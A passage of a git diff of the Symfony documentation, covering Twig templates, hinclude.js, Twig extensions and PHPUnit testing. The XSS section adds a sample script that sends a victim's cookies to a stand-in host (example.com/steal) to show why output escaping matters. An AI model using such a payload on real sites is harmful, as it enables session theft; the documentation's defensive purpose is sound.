(FrameworkConfig $framework): void { // ... - 'fragments' => ['path' => '/_fragment'], - ]); + $framework->fragments()->path('/_fragment'); + }; -.. caution:: +.. warning:: Embedding controllers requires making requests to those controllers and rendering some templates as result. This can have a significant impact on the application performance if you embed lots of controllers. If possible, :doc:`cache the template fragment </http_cache/esi>`. -.. seealso:: +.. _templates-hinclude: + +How to Embed Asynchronous Content with hinclude.js +-------------------------------------------------- + +Templates can also embed contents asynchronously with the ``hinclude.js`` +JavaScript library. + +First, include the `hinclude.js`_ library in your page +:ref:`linking to it <templates-link-to-assets>` from the template or adding it +to your application JavaScript :doc:`using AssetMapper </frontend>`. + +As the embedded content comes from another page (or controller for that matter), +Symfony uses a version of the standard ``render()`` function to configure +``hinclude`` tags in templates: + +.. code-block:: twig + + {{ render_hinclude(controller('...')) }} + {{ render_hinclude(url('...')) }} + +.. note:: + + When using the ``controller()`` function, you must also configure the + :ref:`fragments path option <fragments-path-config>`. + +When JavaScript is disabled or it takes a long time to load you can display a +default content rendering some template: + +.. configuration-block:: - Templates can also :doc:`embed contents asynchronously </templating/hinclude>` - with the ``hinclude.js`` JavaScript library. + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + # ... + fragments: + hinclude_default_template: hinclude.html.twig + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <!-- ... --> + <framework:config> + <framework:fragments hinclude-default-template="hinclude.html.twig"/> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + // ... + $framework->fragments() + ->hincludeDefaultTemplate('hinclude.html.twig') + ; + }; + +You can define default templates per ``render()`` function (which will override +any global default template that is defined): + +.. code-block:: twig + + {{ render_hinclude(controller('...'), { + default: 'default/content.html.twig' + }) }} + +Or you can also specify a string to display as the default content: + +.. code-block:: twig + + {{ render_hinclude(controller('...'), {default: 'Loading...'}) }} + +Use the ``attributes`` option to define the value of hinclude.js options: + +.. code-block:: twig + + {# by default, cross-site requests don't use credentials such as cookies, authorization + headers or TLS client certificates; set this option to 'true' to use them #} + {{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }} + + {# by default, the JavaScript code included in the loaded contents is not run; + set this option to 'true' to run that JavaScript code #} + {{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }} + +.. _template_inheritance-layouts: Template Inheritance and Layouts ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -871,7 +1256,7 @@ In practice, the ``base.html.twig`` template would look like this: <meta charset="UTF-8"> <title>{% block title %}My Application{% endblock %}</title> {% block stylesheets %} - <link rel="stylesheet" type="text/css" href="/css/base.css"/> + <link rel="stylesheet" type="text/css" href="/css/base.css"> {% endblock %} </head> <body> @@ -938,14 +1323,14 @@ different templates to create the final contents. This inheritance mechanism boosts your productivity because each template includes only its unique contents and leaves the repeated contents and HTML structure to some parent templates. -.. caution:: +.. warning:: When using ``extends``, a child template is forbidden to define template parts outside of a block. The following code throws a ``SyntaxError``: .. code-block:: html+twig - {# app/Resources/views/blog/index.html.twig #} + {# templates/blog/index.html.twig #} {% extends 'base.html.twig' %} {# the line below is not captured by a "block" tag #} @@ -957,22 +1342,30 @@ and leaves the repeated contents and HTML structure to some parent templates. Read the `Twig template inheritance`_ docs to learn more about how to reuse parent block contents when overriding templates and other advanced features. -Output Escaping ---------------- +.. _output-escaping: +.. _xss-attacks: + +Output Escaping and XSS Attacks +------------------------------- Imagine that your template includes the ``Hello {{ name }}`` code to display the -user name. If a malicious user sets ``<script>alert('hello!')</script>`` as -their name and you output that value unchanged, the application will display a -JavaScript popup window. +user name and a malicious user sets the following as their name: + +.. code-block:: html + + My Name + <script type="text/javascript"> + document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">'); + </script> -This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous -example seems harmless, the attacker could write more advanced JavaScript code -to perform malicious actions. +You'll see ``My Name`` on screen but the attacker just secretly stole your cookies +so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_ +or XSS attack. To prevent this attack, use *"output escaping"* to transform the characters which have special meaning (e.g. replace ``<`` by the ``<`` HTML entity). Symfony applications are safe by default because they perform automatic output -escaping thanks to the :ref:`Twig autoescape option <config-twig-autoescape>`: +escaping: .. code-block:: html+twig @@ -1038,15 +1431,16 @@ the ``value`` is the Twig namespace, which is explained later: .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { // ... - 'paths' => [ - // directories are relative to the project root dir (but you - // can also use absolute directories) - 'email/default/templates' => null, - 'backend/templates' => null, - ], - ]); + + // directories are relative to the project root dir (but you + // can also use absolute directories) + $twig->path('email/default/templates', null); + $twig->path('backend/templates', null); + }; When rendering a template, Symfony looks for it first in the ``twig.paths`` directories that don't define a namespace and then falls back to the default @@ -1093,13 +1487,14 @@ configuration to define a namespace for each template directory: .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { // ... - 'paths' => [ - 'email/default/templates' => 'email', - 'backend/templates' => 'admin', - ], - ]); + + $twig->path('email/default/templates', 'email'); + $twig->path('backend/templates', 'admin'); + }; Now, if you render the ``layout.html.twig`` template, Symfony will render the ``templates/layout.html.twig`` file. Use the special syntax ``@`` + namespace to @@ -1116,38 +1511,211 @@ Bundle Templates ~~~~~~~~~~~~~~~~ If you :ref:`install packages/bundles <symfony-flex>` in your application, they -may include their own Twig templates (in the ``Resources/views/`` directory of -each bundle). To avoid messing with your own templates, Symfony adds bundle +may include their own Twig templates (in the ``templates/`` directory of each +bundle). To avoid messing with your own templates, Symfony adds bundle templates under an automatic namespace created after the bundle name. -For example, the templates of a bundle called ``AcmeFooBundle`` are available -under the ``AcmeFoo`` namespace. If this bundle includes the template -``<your-project>/vendor/acmefoo-bundle/Resources/views/user/profile.html.twig``, -you can refer to it as ``@AcmeFoo/user/profile.html.twig``. +For example, the templates of a bundle called ``AcmeBlogBundle`` are available +under the ``AcmeBlog`` namespace. If this bundle includes the template +``<your-project>/vendor/acme/blog-bundle/templates/user/profile.html.twig``, +you can refer to it as ``@AcmeBlog/user/profile.html.twig``. .. tip:: You can also :ref:`override bundle templates <override-templates>` in case you want to change some parts of the original bundle templates. -Learn more ----------- +.. _templates-twig-extension: + +Writing a Twig Extension +------------------------ -.. toctree:: - :maxdepth: 1 - :glob: +`Twig Extensions`_ allow the creation of custom functions, filters, and more to use +in your Twig templates. Before writing your own Twig extension, check if +the filter/function that you need is not already implemented in: - /templating/* +* The `default Twig filters and functions`_; +* The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`; +* The `official Twig extensions`_ related to strings, HTML, Markdown, internationalization, etc. + +Create the Extension Class +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Suppose you want to create a new filter called ``price`` that formats a number +as currency: + +.. code-block:: twig + + {{ product.price|price }} + + {# pass in the 3 optional arguments #} + {{ product.price|price(2, ',', '.') }} + +.. _templates-twig-filter-attribute: + +Create a regular PHP class with a method that contains the filter logic. Then, +add the ``#[AsTwigFilter]`` attribute to define the name and options of +the Twig filter:: + + // src/Twig/AppExtension.php + namespace App\Twig; + + use Twig\Attribute\AsTwigFilter; + + class AppExtension + { + #[AsTwigFilter('price')] + public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string + { + $price = number_format($number, $decimals, $decPoint, $thousandsSep); + $price = '$'.$price; + + return $price; + } + } + +.. _templates-twig-function-attribute: + +If you want to create a function instead of a filter, use the +``#[AsTwigFunction]`` attribute:: + + // src/Twig/AppExtension.php + namespace App\Twig; + + use Twig\Attribute\AsTwigFunction; + + class AppExtension + { + #[AsTwigFunction('area')] + public function calculateArea(int $width, int $length): int + { + return $width * $length; + } + } + +.. tip:: + + Along with custom filters and functions, you can also register + `global variables`_. + +.. versionadded:: 7.3 + + Support for the ``#[AsTwigFilter]``, ``#[AsTwigFunction]`` and ``#[AsTwigTest]`` + attributes was introduced in Symfony 7.3. Previously, you had to extend the + ``AbstractExtension`` class, and override the ``getFilters()`` and ``getFunctions()`` + methods. + +If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, +the :ref:`service autoconfiguration <services-autoconfigure>` feature will enable +this class as a Twig extension. Otherwise, you need to define a service manually +and :doc:`tag it </service_container/tags>` with the ``twig.attribute_extension`` tag. + +Register an Extension as a Service +.................................. + +Next, register your class as a service and tag it with ``twig.extension``. If you're +using the :ref:`default services.yaml configuration <service-container-services-load-example>`, +you're done! Symfony will automatically know about your new service and add the tag. + +You can now start using your filter in any Twig template. Optionally, execute +this command to confirm that your new filter was successfully registered: + +.. code-block:: terminal + + # display all information about Twig + $ php bin/console debug:twig + + # display only the information about a specific filter + $ php bin/console debug:twig --filter=price + +.. _lazy-loaded-twig-extensions: + +Creating Lazy-Loaded Twig Extensions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When :ref:`using attributes to extend Twig <templates-twig-filter-attribute>`, +the **Twig extensions are already lazy-loaded** and you don't have to do anything +else. However, if your Twig extensions follow the **legacy approach** of extending +the ``AbstractExtension`` class, Twig initializes all the extensions before +rendering any template, even if they are not used. + +If extensions don't define dependencies (i.e. if you don't inject services in +them) performance is not affected. However, if extensions define lots of complex +dependencies (e.g. those making database connections), the performance loss can +be significant. + +That's why Twig allows decoupling the extension definition from its +implementation. Following the same example as before, the first change would be +to remove the ``formatPrice()`` method from the extension and update the PHP +callable defined in ``getFilters()``:: + + // src/Twig/AppExtension.php + namespace App\Twig; + + use App\Twig\AppRuntime; + use Twig\Extension\AbstractExtension; + use Twig\TwigFilter; + + class AppExtension extends AbstractExtension + { + public function getFilters(): array + { + return [ + // the logic of this filter is now implemented in a different class + new TwigFilter('price', [AppRuntime::class, 'formatPrice']), + ]; + } + } + +Then, create the new ``AppRuntime`` class (it's not required but these classes +are suffixed with ``Runtime`` by convention) and include the logic of the +previous ``formatPrice()`` method:: + + // src/Twig/AppRuntime.php + namespace App\Twig; + + use Twig\Extension\RuntimeExtensionInterface; + + class AppRuntime implements RuntimeExtensionInterface + { + public function __construct() + { + // this simple example doesn't define any dependency, but in your own + // extensions, you'll need to inject services using this constructor + } + + public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string + { + $price = number_format($number, $decimals, $decPoint, $thousandsSep); + $price = '$'.$price; + + return $price; + } + } + +If you're using the default ``services.yaml`` configuration, this will already +work! Otherwise, :ref:`create a service <service-container-creating-service>` +for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``. -.. _`Twig`: https://twig.symfony.com -.. _`tags`: https://twig.symfony.com/doc/2.x/tags/index.html -.. _`filters`: https://twig.symfony.com/doc/2.x/filters/index.html -.. _`functions`: https://twig.symfony.com/doc/2.x/functions/index.html -.. _`with_context`: https://twig.symfony.com/doc/2.x/functions/include.html -.. _`Twig template loader`: https://twig.symfony.com/doc/2.x/api.html#loaders -.. _`Twig raw filter`: https://twig.symfony.com/doc/2.x/filters/raw.html -.. _`Twig output escaping docs`: https://twig.symfony.com/doc/2.x/api.html#escaper-extension -.. _`snake case`: https://en.wikipedia.org/wiki/Snake_case -.. _`Twig template inheritance`: https://twig.symfony.com/doc/2.x/tags/extends.html -.. _`Twig block tag`: https://twig.symfony.com/doc/2.x/tags/block.html .. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting +.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference +.. _`filters`: https://twig.symfony.com/doc/3.x/filters/index.html +.. _`functions`: https://twig.symfony.com/doc/3.x/functions/index.html +.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions +.. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1 +.. _`hinclude.js`: https://mnot.github.io/hinclude/ +.. _`Turbo Streams`: https://symfony.com/bundles/ux-turbo/current/index.html +.. _`official Twig extensions`: https://github.com/twigphp?q=extra +.. _`snake case`: https://en.wikipedia.org/wiki/Snake_case +.. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html +.. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html +.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Environment.php +.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension +.. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension +.. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html +.. _`Twig template inheritance`: https://twig.symfony.com/doc/3.x/tags/extends.html +.. _`Twig template loader`: https://twig.symfony.com/doc/3.x/api.html#loaders +.. _`Twig`: https://twig.symfony.com +.. _`UX Live Component`: https://symfony.com/bundles/ux-live-component/current/index.html +.. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html +.. _`with_context`: https://twig.symfony.com/doc/3.x/functions/include.html diff --git a/templating/PHP.rst b/templating/PHP.rst deleted file mode 100644 index 9928984f8d8..00000000000 --- a/templating/PHP.rst +++ /dev/null @@ -1,10 +0,0 @@ -.. index:: - single: PHP Templates - -How to Use PHP instead of Twig for Templates -============================================ - -.. caution:: - - Starting from Symfony 5.0, PHP templates are no longer supported. Use - :doc:`Twig </templates>` instead to create your templates. diff --git a/templating/global_variables.rst b/templating/global_variables.rst deleted file mode 100644 index 2e2c841812c..00000000000 --- a/templating/global_variables.rst +++ /dev/null @@ -1,113 +0,0 @@ -.. index:: - single: Templating; Global variables - -How to Inject Variables Automatically into all Templates -======================================================== - -Twig allows to inject automatically one or more variables into all templates. -These global variables are defined in the ``twig.globals`` option inside the -main Twig configuration file: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/twig.yaml - twig: - # ... - globals: - ga_tracking: 'UA-xxxxx-x' - - .. code-block:: xml - - <!-- config/packages/twig.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:twig="http://symfony.com/schema/dic/twig" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/twig - https://symfony.com/schema/dic/twig/twig-1.0.xsd"> - - <twig:config> - <!-- ... --> - <twig:global key="ga_tracking">UA-xxxxx-x</twig:global> - </twig:config> - </container> - - .. code-block:: php - - // config/packages/twig.php - $container->loadFromExtension('twig', [ - // ... - 'globals' => [ - 'ga_tracking' => 'UA-xxxxx-x', - ], - ]); - -Now, the variable ``ga_tracking`` is available in all Twig templates, so you -can use it without having to pass it explicitly from the controller or service -that renders the template: - -.. code-block:: html+twig - - <p>The Google tracking code is: {{ ga_tracking }}</p> - -Referencing Services --------------------- - -In addition to static values, Twig global variables can also reference services -from the :doc:`service container </service_container>`. The main drawback is -that these services are not loaded lazily. In other words, as soon as Twig is -loaded, your service is instantiated, even if you never use that global variable. - -To define a service as a global Twig variable, prefix the service ID string with -the ``@`` character, which is the usual syntax to -:ref:`refer to services in container parameters <service-container-parameters>`: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/twig.yaml - twig: - # ... - globals: - # the value is the service's id - uuid: '@App\Generator\UuidGenerator' - - .. code-block:: xml - - <!-- config/packages/twig.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:twig="http://symfony.com/schema/dic/twig" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/twig - https://symfony.com/schema/dic/twig/twig-1.0.xsd"> - - <twig:config> - <!-- ... --> - <twig:global key="uuid">@App\Generator\UuidGenerator</twig:global> - </twig:config> - </container> - - .. code-block:: php - - // config/packages/twig.php - $container->loadFromExtension('twig', [ - // ... - 'globals' => [ - 'uuid' => '@App\Generator\UuidGenerator', - ], - ]); - -Now you can use the ``uuid`` variable in any Twig template to access to the -``UuidGenerator`` service: - -.. code-block:: twig - - UUID: {{ uuid.generate }} diff --git a/templating/hinclude.rst b/templating/hinclude.rst deleted file mode 100644 index eed8f09b5e7..00000000000 --- a/templating/hinclude.rst +++ /dev/null @@ -1,97 +0,0 @@ -.. index:: - single: Templating; hinclude.js - -How to Embed Asynchronous Content with hinclude.js -================================================== - -:ref:`Embedding controllers in templates <templates-embed-controllers>` is one -of the ways to reuse contents across multiple templates. To further improve -performance you can use the `hinclude.js`_ JavaScript library to embed -controllers asynchronously. - -First, include the `hinclude.js`_ library in your page -:ref:`linking to it <templates-link-to-assets>` from the template or adding it -to your application JavaScript :doc:`using Webpack Encore </frontend>`. - -As the embedded content comes from another page (or controller for that matter), -Symfony uses a version of the standard ``render()`` function to configure -``hinclude`` tags in templates: - -.. code-block:: twig - - {{ render_hinclude(controller('...')) }} - {{ render_hinclude(url('...')) }} - -.. note:: - - When using the ``controller()`` function, you must also configure the - :ref:`fragments path option <fragments-path-config>`. - -When JavaScript is disabled or it takes a long time to load you can display a -default content rendering some template: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/framework.yaml - framework: - # ... - fragments: - hinclude_default_template: hinclude.html.twig - - .. code-block:: xml - - <!-- config/packages/framework.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - - <!-- ... --> - <framework:config> - <framework:fragments hinclude-default-template="hinclude.html.twig"/> - </framework:config> - </container> - - .. code-block:: php - - // config/packages/framework.php - $container->loadFromExtension('framework', [ - // ... - 'fragments' => [ - 'hinclude_default_template' => 'hinclude.html.twig', - ], - ]); - -You can define default templates per ``render()`` function (which will override -any global default template that is defined): - -.. code-block:: twig - - {{ render_hinclude(controller('...'), { - default: 'default/content.html.twig' - }) }} - -Or you can also specify a string to display as the default content: - -.. code-block:: twig - - {{ render_hinclude(controller('...'), {default: 'Loading...'}) }} - -Use the ``attributes`` option to define the value of hinclude.js options: - -.. code-block:: twig - - {# by default, cross-site requests don't use credentials such as cookies, authorization - headers or TLS client certificates; set this option to 'true' to use them #} - {{ render_hinclude(controller('...'), {attributes: {data-with-credentials: 'true'}}) }} - - {# by default, the JavaScript code included in the loaded contents is not run; - set this option to 'true' to run that JavaScript code #} - {{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }} - -.. _`hinclude.js`: http://mnot.github.io/hinclude/ diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst deleted file mode 100644 index 03fcd7a9471..00000000000 --- a/templating/twig_extension.rst +++ /dev/null @@ -1,176 +0,0 @@ -.. index:: - single: Twig extensions - -How to Write a custom Twig Extension -==================================== - -`Twig Extensions`_ allow to create custom functions, filters and more to use -them in your Twig templates. Before writing your own Twig extension, check if -the filter/function that you need is already implemented in: - -* The `default Twig filters and functions`_; -* The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`; -* The `official Twig extensions`_ related to strings, HTML, Markdown, internationalization, etc. - -Create the Extension Class --------------------------- - -Suppose you want to create a new filter called ``price`` that formats a number -into money: - -.. code-block:: twig - - {{ product.price|price }} - - {# pass in the 3 optional arguments #} - {{ product.price|price(2, ',', '.') }} - -Create a class that extends ``AbstractExtension`` and fill in the logic:: - - // src/Twig/AppExtension.php - namespace App\Twig; - - use Twig\Extension\AbstractExtension; - use Twig\TwigFilter; - - class AppExtension extends AbstractExtension - { - public function getFilters() - { - return [ - new TwigFilter('price', [$this, 'formatPrice']), - ]; - } - - public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',') - { - $price = number_format($number, $decimals, $decPoint, $thousandsSep); - $price = '$'.$price; - - return $price; - } - } - -If you want to create a function instead of a filter, define the -``getFunctions()`` method:: - - // src/Twig/AppExtension.php - namespace App\Twig; - - use Twig\Extension\AbstractExtension; - use Twig\TwigFunction; - - class AppExtension extends AbstractExtension - { - public function getFunctions() - { - return [ - new TwigFunction('area', [$this, 'calculateArea']), - ]; - } - - public function calculateArea(int $width, int $length) - { - return $width * $length; - } - } - -.. tip:: - - Along with custom filters and functions, you can also register - `global variables`_. - -Register an Extension as a Service -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Next, register your class as a service and tag it with ``twig.extension``. If you're -using the :ref:`default services.yaml configuration <service-container-services-load-example>`, -you're done! Symfony will automatically know about your new service and add the tag. - -You can now start using your filter in any Twig template. Optionally, execute -this command to confirm that your new filter was successfully registered: - -.. code-block:: terminal - - # display all information about Twig - $ php bin/console debug:twig - - # display only the information about a specific filter - $ php bin/console debug:twig --filter=price - -.. _lazy-loaded-twig-extensions: - -Creating Lazy-Loaded Twig Extensions ------------------------------------- - -.. versionadded:: 1.35 - - Support for lazy-loaded extensions was introduced in Twig 1.35.0 and 2.4.4. - -Including the code of the custom filters/functions in the Twig extension class -is the simplest way to create extensions. However, Twig must initialize all -extensions before rendering any template, even if the template doesn't use an -extension. - -If extensions don't define dependencies (i.e. if you don't inject services in -them) performance is not affected. However, if extensions define lots of complex -dependencies (e.g. those making database connections), the performance loss can -be significant. - -That's why Twig allows to decouple the extension definition from its -implementation. Following the same example as before, the first change would be -to remove the ``formatPrice()`` method from the extension and update the PHP -callable defined in ``getFilters()``:: - - // src/Twig/AppExtension.php - namespace App\Twig; - - use App\Twig\AppRuntime; - use Twig\Extension\AbstractExtension; - use Twig\TwigFilter; - - class AppExtension extends AbstractExtension - { - public function getFilters() - { - return [ - // the logic of this filter is now implemented in a different class - new TwigFilter('price', [AppRuntime::class, 'formatPrice']), - ]; - } - } - -Then, create the new ``AppRuntime`` class (it's not required but these classes -are suffixed with ``Runtime`` by convention) and include the logic of the -previous ``formatPrice()`` method:: - - // src/Twig/AppRuntime.php - namespace App\Twig; - - use Twig\Extension\RuntimeExtensionInterface; - - class AppRuntime implements RuntimeExtensionInterface - { - public function __construct() - { - // this simple example doesn't define any dependency, but in your own - // extensions, you'll need to inject services using this constructor - } - - public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',') - { - $price = number_format($number, $decimals, $decPoint, $thousandsSep); - $price = '$'.$price; - - return $price; - } - } - -If you're using the default ``services.yaml`` configuration, this will already -work! Otherwise, :ref:`create a service <service-container-creating-service>` -for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``. - -.. _`Twig Extensions`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension -.. _`default Twig filters and functions`: https://twig.symfony.com/doc/2.x/#reference -.. _`official Twig extensions`: https://github.com/twigphp?q=extra -.. _`global variables`: https://twig.symfony.com/doc/2.x/advanced.html#id1 diff --git a/testing.rst b/testing.rst index 39b0049a9f5..64ee65ccdf1 100644 --- a/testing.rst +++ b/testing.rst @@ -1,6 +1,3 @@ -.. index:: - single: Tests - Testing ======= @@ -8,624 +5,676 @@ Whenever you write a new line of code, you also potentially add new bugs. To build better and more reliable applications, you should test your code using both functional and unit tests. -The PHPUnit Testing Framework ------------------------------ - Symfony integrates with an independent library called `PHPUnit`_ to give you a -rich testing framework. This article won't cover PHPUnit itself, which has its -own excellent `documentation`_. +rich testing framework. This article covers the PHPUnit basics you'll need to +write Symfony tests. To learn everything about PHPUnit and its features, read +the `official PHPUnit documentation`_. -Before creating your first test, install the `PHPUnit Bridge component`_, which -wraps the original PHPUnit binary to provide additional features: +Types of Tests +-------------- -.. code-block:: terminal +There are many types of automated tests and precise definitions often +differ from project to project. In Symfony, the following definitions are +used. If you have learned something different, that is not necessarily +wrong, merely different from what the Symfony documentation is using. + +`Unit Tests`_ + These tests ensure that *individual* units of source code (e.g. a single + class) behave as intended. + +`Integration Tests`_ + These tests test a combination of classes and commonly interact with + Symfony's service container. These tests do not yet cover the fully + working application, those are called *Application tests*. + +`Application Tests`_ + Application tests (also known as functional tests) test the behavior of a + complete application. They make HTTP requests (both real and simulated ones) + and test that the response is as expected. + +.. _testing-installation: +.. _the-phpunit-testing-framework: - $ composer require --dev symfony/phpunit-bridge +Installation +------------ -After the library downloads, try executing PHPUnit by running (the first time -you run this, it will download PHPUnit itself and make its classes available in -your app): +Before creating your first test, install ``symfony/test-pack``, which installs +some other packages needed for testing (such as ``phpunit/phpunit``): .. code-block:: terminal - $ ./bin/phpunit + $ composer require --dev symfony/test-pack -.. note:: +After the library is installed, try running PHPUnit: - The ``./bin/phpunit`` command is created by :ref:`Symfony Flex <symfony-flex>` - when installing the ``phpunit-bridge`` package. If the command is missing, you - can remove the package (``composer remove symfony/phpunit-bridge``) and install - it again. Another solution is to remove the project's ``symfony.lock`` file and - run ``composer install`` to force the execution of all Symfony Flex recipes. +.. code-block:: terminal -Each test - whether it's a unit test or a functional test - is a PHP class -that should live in the ``tests/`` directory of your application. If you follow -this rule, then you can run all of your application's tests with the same -command as before. + $ php bin/phpunit -PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your -Symfony application. +This command automatically runs your application tests. Each test is a +PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in +the ``tests/`` directory of your application. -.. tip:: +PHPUnit is configured by the ``phpunit.dist.xml`` file in the root of your +application (in PHPUnit versions older than 10, the file is named ``phpunit.xml.dist``). +The default configuration provided by Symfony Flex will be enough in most cases. +Read the `PHPUnit documentation`_ to discover all possible configuration options +(e.g. to enable code coverage or to split your test into multiple "test suites"). - Use the ``--coverage-*`` command options to generate code coverage reports. - Read the PHPUnit manual to learn more about `code coverage analysis`_. +.. note:: -.. index:: - single: Tests; Unit tests + :ref:`Symfony Flex <symfony-flex>` automatically creates + ``phpunit.dist.xml`` and ``tests/bootstrap.php``. If these files are + missing, you can try running the recipe again using + ``composer recipes:install phpunit/phpunit --force -v``. Unit Tests ---------- -A `unit test`_ ensures that individual units of source code (e.g. a single class -or some specific method in some class) meet their design and behave as intended. -If you want to test an entire feature of your application (e.g. registering as a -user or generating an invoice), see the section about :ref:`Functional Tests <functional-tests>`. +A `unit test`_ ensures that individual units of source code (e.g. a single +class or some specific method in some class) meet their design and behave +as intended. Writing unit tests in a Symfony application is no different +from writing standard PHPUnit unit tests. You can learn about it in the +PHPUnit documentation: `Writing Tests for PHPUnit`_. -Writing Symfony unit tests is no different from writing standard PHPUnit -unit tests. Suppose, for example, that you have an class called ``Calculator`` -in the ``src/Util/`` directory of the app:: +By convention, the ``tests/`` directory should replicate the directory +of your application for unit tests. So, if you're testing a class in the +``src/Form/`` directory, put the test in the ``tests/Form/`` directory. +Autoloading is automatically enabled via the ``vendor/autoload.php`` file +(as configured by default in the ``phpunit.dist.xml`` file). - // src/Util/Calculator.php - namespace App\Util; +You can run tests using the ``bin/phpunit`` command: - class Calculator - { - public function add($a, $b) - { - return $a + $b; - } - } +.. code-block:: terminal + + # run all tests of the application + $ php bin/phpunit + + # run all tests in the Form/ directory + $ php bin/phpunit tests/Form + + # run tests for the UserType class + $ php bin/phpunit tests/Form/UserTypeTest.php + +.. tip:: + + In large test suites, it can make sense to create subdirectories for + each type of test (``tests/Unit/``, ``tests/Integration/``, + ``tests/Application/``, etc.). + +.. _integration-tests: + +Integration Tests +----------------- + +An integration test will test a larger part of your application compared to +a unit test (e.g. a combination of services). Integration tests might want +to use the Symfony Kernel to fetch a service from the dependency injection +container. -To test this, create a ``CalculatorTest`` file in the ``tests/Util`` directory -of your application:: +Symfony provides a :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase` +class to help you create and boot the kernel in your tests using +``bootKernel()``:: - // tests/Util/CalculatorTest.php - namespace App\Tests\Util; + // tests/Service/NewsletterGeneratorTest.php + namespace App\Tests\Service; - use App\Util\Calculator; - use PHPUnit\Framework\TestCase; + use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase; - class CalculatorTest extends TestCase + class NewsletterGeneratorTest extends KernelTestCase { - public function testAdd() + public function testSomething(): void { - $calculator = new Calculator(); - $result = $calculator->add(30, 12); + self::bootKernel(); - // assert that your calculator added the numbers correctly! - $this->assertEquals(42, $result); + // ... } } +The ``KernelTestCase`` also makes sure your kernel is rebooted for each +test. This assures that each test is run independently from each other. + +To run your application tests, the ``KernelTestCase`` class needs to +find the application kernel to initialize. The kernel class is +usually defined in the ``KERNEL_CLASS`` environment variable +(included in the default ``.env.test`` file provided by Symfony Flex): + +.. code-block:: env + + # .env.test + KERNEL_CLASS=App\Kernel + .. note:: - By convention, the ``tests/`` directory should replicate the directory - of your application for unit tests. So, if you're testing a class in the - ``src/Util/`` directory, put the test in the ``tests/Util/`` - directory. + If your use case is more complex, you can also override the + ``getKernelClass()`` or ``createKernel()`` methods of your functional + test, which takes precedence over the ``KERNEL_CLASS`` env var. -Like in your real application - autoloading is automatically enabled via the -``vendor/autoload.php`` file (as configured by default in the -``phpunit.xml.dist`` file). +Set-up your Test Environment +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -You can also limit a test run to a directory or a specific test file: +The tests create a kernel that runs in the ``test`` +:ref:`environment 